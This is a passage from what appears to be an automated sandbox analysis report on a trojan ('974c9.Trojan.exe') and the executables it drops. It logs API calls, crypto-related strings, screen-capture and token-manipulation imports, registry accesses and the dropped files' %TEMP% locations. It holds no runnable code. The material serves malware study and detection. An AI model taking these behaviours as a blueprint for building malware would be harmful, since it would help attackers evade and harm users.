connection to a network resource" [Source: 9Ctcn6an256JgA0A8CaB.exe]5a:T523,"_cN98WdsB1IEWbc3Zx4D.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "67175858" "cx": "32" "cy": "32"} "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "67175858" "cx": "16" "cy": "16"} "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "16845447" "cx": "16" "cy": "16"} "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "16845450" "cx": "556" "cy": "101"} "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "16845448" "cx": "68" "cy": "23"} "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "67411" "cx": "556" "cy": "101"} "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "16844637" "cx": "68" "cy": "23"} "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "16845449" "cx": "556" "cy": "101"} "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "16845450" "cx": "68" "cy": "23"} "9Ctcn6an256JgA0A8CaB.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "67411" "cx": "32" "cy": "32"} "9Ctcn6an256JgA0A8CaB.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "67411" "cx": "16" "cy": "16"}5b:T556,"974c9.Trojan.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "974c9.Trojan.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "8" "th32ProcessID": "7764"} "974c9.Trojan.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "2" "th32ProcessID": "0"} "_cN98WdsB1IEWbc3Zx4D.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "cjV6Q2vxV7zvCn3KN9LD.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "cjV6Q2vxV7zvCn3KN9LD.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "8" "th32ProcessID": "8112"} "HaHIGF310vbb4fU3fDiY.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "2Sz9u8LqhC5hU2hE9Hgc.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "2Sz9u8LqhC5hU2hE9Hgc.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "8" "th32ProcessID": "6224"} "9Ctcn6an256JgA0A8CaB.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "explorhe.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "explorhe.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "8" "th32ProcessID": "4036"}5c:T466,"974c9.Trojan.exe" called "GetComputerNameA" (UID: 00000000-00007764) "974c9.Trojan.exe" called "GetComputerNameW" (UID: 00000000-00007764) "cjV6Q2vxV7zvCn3KN9LD.exe" called "GetComputerNameA" (UID: 00000000-00008112) "cjV6Q2vxV7zvCn3KN9LD.exe" called "GetComputerNameW" (UID: 00000000-00008112) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "GetComputerNameA" (UID: 00000000-00006224) "2Sz9u8LqhC5hU2hE9Hgc.exe" called "GetComputerNameW" (UID: 00000000-00006224) "explorhe.exe" called "GetComputerNameA" (UID: 00000000-00004036) "explorhe.exe" called "GetComputerNameW" (UID: 00000000-00004036) "explorhe.exe" called "GetComputerNameA" (UID: 00000000-00007836) "explorhe.exe" called "GetComputerNameW" (UID: 00000000-00007836) "explorhe.exe" called "GetComputerNameA" (UID: 00000000-00007388) "explorhe.exe" called "GetComputerNameW" (UID: 00000000-00007388) "explorhe.exe" called "GetComputerNameA" (UID: 00000000-00004032) "explorhe.exe" called "GetComputerNameW" (UID: 00000000-00004032) "explorhe.exe" called "GetComputerNameA" (UID: 00000000-00004204) "explorhe.exe" called "GetComputerNameW" (UID: 00000000-00004204)5d:T460,"_cN98WdsB1IEWbc3Zx4D.exe" called "GetNativeSystemInfo" with parameters {"lpSystemInfo": "090000000010000000000100fffffeff0300000002000000d8210000000001000600004f"} "cjV6Q2vxV7zvCn3KN9LD.exe" called "GetNativeSystemInfo" with parameters {"lpSystemInfo": "090000000010000000000100fffffeff0300000002000000d8210000000001000600004f"} "HaHIGF310vbb4fU3fDiY.exe" called "GetNativeSystemInfo" with parameters {"lpSystemInfo": "090000000010000000000100fffffeff0300000002000000d8210000000001000600004f"} "9Ctcn6an256JgA0A8CaB.exe" called "GetNativeSystemInfo" with parameters {"lpSystemInfo": "090000000010000000000100fffffeff0300000002000000d8210000000001000600004f"} "explorhe.exe" called "GetNativeSystemInfo" with parameters {"lpSystemInfo": "090000000010000000000100fffffeff0300000002000000d8210000000001000600004f"} "rdx1122.exe" called "GetNativeSystemInfo" with parameters {"lpSystemInfo": "090000000010000000000100fffffeff0300000002000000d8210000000001000600004f"} "rdxx1.exe" called "GetNativeSystemInfo" with parameters {"lpSystemInfo": "090000000010000000000100fffffeff0300000002000000d8210000000001000600004f"}5e:T916,Found string "AES_Wrap" (Indicator: "aes"; File: "974c9.Trojan.exe") file/memory contains long string with (Indicator: "aes"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "aescryptoserviceprovider"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "base64"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "createdecryptor"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "createencryptor"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "cryptostream"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "cryptostreammode"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "ToBase64String"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "md5cryptoserviceprovider"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "rijndael"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "Rijndaelmanaged"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "RsaCryptoServiceProvider"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "base64"; File: "D87fZN3R3jFeWeb Data") Found string "ystem.OfflineFiles.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00004036.00000001.70585.06A60000.00000002.mdmp") Found string "ystem.Security.EncryptionOwners" (Indicator: ".encrypt"; Source: "00000000-00004036.00000001.70585.06A60000.00000002.mdmp") Found string "ystem.Security.EncryptionOwnersDisplay" (Indicator: ".encrypt"; Source: "00000000-00004036.00000001.70585.06A60000.00000002.mdmp") Found string "ystem.ZipFolder.Encrypted" (Indicator: ".encrypt"; Source: "00000000-00004036.00000001.70585.06A60000.00000002.mdmp") Found string "AESg" (Indicator: "aes"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found string "AES_Wrap" (Indicator: "aes"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found string "HhX~AeSl" (Indicator: "aes"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp")5f:Te28,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.035F0000.00000004.mdmp, 00000000-00004036.00000002.72505.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.035F0000.00000004.mdmp, 00000000-00004036.00000002.72505.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.035F0000.00000004.mdmp, 00000000-00004036.00000002.72505.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.035F0000.00000004.mdmp, 00000000-00004036.00000002.72505.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.035F0000.00000004.mdmp, 00000000-00004036.00000002.72505.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.035F0000.00000004.mdmp, 00000000-00004036.00000002.72505.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.035F0000.00000004.mdmp, 00000000-00004036.00000002.72505.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.035F0000.00000004.mdmp, 00000000-00004036.00000002.72505.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006224.00000000.68161.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00006224.00000000.68161.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00006224.00000000.68161.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006224.00000000.68161.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00006224.00000000.68161.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00006224.00000000.68161.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00006224.00000000.68161.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00006224.00000000.68161.035F0000.00000004.mdmp")60:Tb95,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "974c9.Trojan.exe") Found reference to API "Module32Next" (Indicator: "Module32Next"; File: "rdxx1.exe.1741511215") Found reference to API "Module32First" (Indicator: "Module32First"; File: "rdxx1.exe.1741511215") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "rdxx1.exe.1741511215") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "rdxx1.exe.1741511215") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "rdxx1.exe.1741511215") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "rdxx1.exe.1741511215") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "rdxx1.exe.1741511215") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "rdxx1.exe.1741511215") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API "GetCurrentProcessorNumberEx" (Indicator: "GetCurrentProcess"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp")61:T58c,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "974c9.Trojan.exe") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "00000000-00007764.00000000.66577.01141000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "rdxx1.exe.1741511215") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp")62:T6a0,"974c9.Trojan.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS") "_cN98WdsB1IEWbc3Zx4D.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\PROGRAM FILES (X86)\MICROSOFT\EDGE\APPLICATION\MSEDGE.EXE"; Value: "2164BF22FD50DA0100000000000000000000000002000000"), "_cN98WdsB1IEWbc3Zx4D.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\PROGRAM FILES (X86)\MICROSOFT\EDGE\APPLICATION\MSEDGE.EXE"; Value: "0E3803D6FC50DA0100000000000000000000000002000000"), "_cN98WdsB1IEWbc3Zx4D.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\PROGRAM FILES (X86)\MICROSOFT\EDGE\APPLICATION\MSEDGE.EXE"; Value: "��y"), "_cN98WdsB1IEWbc3Zx4D.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\PROGRAM FILES (X86)\MICROSOFT\EDGE\APPLICATION\MSEDGE.EXE"; Value: "BA15260AFD50DA0100000000000000000000000002000000"), "2Sz9u8LqhC5hU2hE9Hgc.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"), "rdxx1.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\REGASM.EXE"; Value: "F9DA2BEA0251DA0100000000000000000000000002000000")63:T125e,Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: ko_1_.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: ko_1_.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: ko_1_.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: ko_1_.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: ko_1_.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: ko_1_.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: ko_1_.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: ko_1_.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: ko_1_.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: ko_1_.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: ko_1_.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: ko_1_.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: ko_1_.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: ko_1_.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: ko_1_.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: ko_1_.exe] Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "CheckTokenMembership" which can "Determines whether a specified security identifier (SID) is enabled in an access token" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "GetAclInformation" which can "Retrieves information about an access control list (ACL)" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "GetSecurityDescriptorDacl" which can "Retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: 9Ctcn6an256JgA0A8CaB.exe]64:T9f2,"974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")65:T57c,"9Ctcn6an256JgA0A8CaB.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4OpGWreR7plfwx\9Ctcn6an256JgA0A8CaB.exe]- [targetUID: 00000000-00007764] "explorhe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\d887ceb89d\explorhe.exe]- [targetUID: 00000000-00008112] "rdxx1.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1000666001\rdxx1.exe]- [targetUID: 00000000-00006352] "2Sz9u8LqhC5hU2hE9Hgc.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4OpGWreR7plfwx\2Sz9u8LqhC5hU2hE9Hgc.exe]- [targetUID: 00000000-00007764] "_cN98WdsB1IEWbc3Zx4D.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4OpGWreR7plfwx\_cN98WdsB1IEWbc3Zx4D.exe]- [targetUID: 00000000-00007248] "cjV6Q2vxV7zvCn3KN9LD.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4OpGWreR7plfwx\cjV6Q2vxV7zvCn3KN9LD.exe]- [targetUID: 00000000-00008112] "rdx1122.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\1000664001\rdx1122.exe]- [targetUID: 00000000-00007440] "HaHIGF310vbb4fU3fDiY.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\jobA4OpGWreR7plfwx\HaHIGF310vbb4fU3fDiY.exe]- [targetUID: 00000000-00007512]66:T633,"974c9.Trojan.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "_cN98WdsB1IEWbc3Zx4D.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "_cN98WdsB1IEWbc3Zx4D.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "cjV6Q2vxV7zvCn3KN9LD.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "cjV6Q2vxV7zvCn3KN9LD.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "HaHIGF310vbb4fU3fDiY.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "HaHIGF310vbb4fU3fDiY.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "2Sz9u8LqhC5hU2hE9Hgc.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "9Ctcn6an256JgA0A8CaB.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "9Ctcn6an256JgA0A8CaB.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "explorhe.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "rdx1122.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "rdx1122.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "rdxx1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "rdxx1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1")67:T4001,"initAft()